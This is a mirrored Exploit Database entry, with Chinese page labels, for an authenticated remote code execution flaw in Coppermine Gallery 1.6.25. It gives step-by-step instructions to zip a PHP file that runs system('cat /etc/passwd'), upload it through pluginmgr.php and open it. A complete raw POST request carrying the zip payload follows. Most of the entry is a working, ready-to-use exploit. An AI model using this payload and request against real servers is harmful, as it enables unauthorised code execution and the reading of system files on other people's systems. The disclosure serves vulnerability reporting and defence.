Coppermine Gallery 1.6.25 – RCE

• Exploit Database
• 15 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-10-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51738/

• Exploit Title: coppermine-gallery 1.6.25 RCE
  Application: coppermine-gallery
  Version: v1.6.25
  Bugs:RCE
  Technology: PHP
  Vendor URL: https://coppermine-gallery.net/
  Software Link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/v1.6.25.zip
  Date of found: 05.09.2023
  Author: Mirabbas Ağalarov
  Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  steps
  
  
  1.First of All create php file content as <?php echo system('cat /etc/passwd'); ?> and sequeze this file with zip.
  $ cat >> test.php 
  <?php echo system('cat /etc/passwd'); ?>
  $ zip test.zip test.php
  
  1. Login to account
  2. Go to http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
  3. Upload zip file
  4. Visit to php file http://localhost/cpg1.6.x-1.6.25/plugins/test.php
  
  
  
  poc request
  
  POST /cpg1.6.x-1.6.25/pluginmgr.php?op=upload HTTP/1.1
  Host: localhost
  Content-Length: 630
  Cache-Control: max-age=0
  sec-ch-ua: 
  sec-ch-ua-mobile: ?0
  sec-ch-ua-platform: ""
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi1AopwPnBYPdzorF
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: document
  Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: cpg16x_data=YTo0OntzOjI6IklEIjtzOjMyOiI0MmE1Njk2NzhhOWE3YTU3ZTI2ZDgwYThlYjZkODQ4ZCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; cpg16x_fav=YToxOntpOjA7aToxO30%3D; d4e0836e1827aa38008bc6feddf97eb4=93ffa260bd94973848c10e15e50b342c
  Connection: close
  
  ------WebKitFormBoundaryi1AopwPnBYPdzorF
  Content-Disposition: form-data; name="plugin"; filename="test.zip"
  Content-Type: application/zip
  
  PK
  �����™b%Wz½µ}(���(�����test.phpUT	�ñòödÓòödux�
  ��������<?php echo system('cat /etc/passwd');?>
  PK
  
  �����™b%Wz½µ}(���(���������
  ���¤����test.phpUT�ñòödux�
  ��������PK����
  �
  �N���j�����
  ------WebKitFormBoundaryi1AopwPnBYPdzorF
  Content-Disposition: form-data; name="form_token"
  
  50982f2e64a7bfa63dbd912a7fdb4e1e
  ------WebKitFormBoundaryi1AopwPnBYPdzorF
  Content-Disposition: form-data; name="timestamp"
  
  1693905214
  ------WebKitFormBoundaryi1AopwPnBYPdzorF--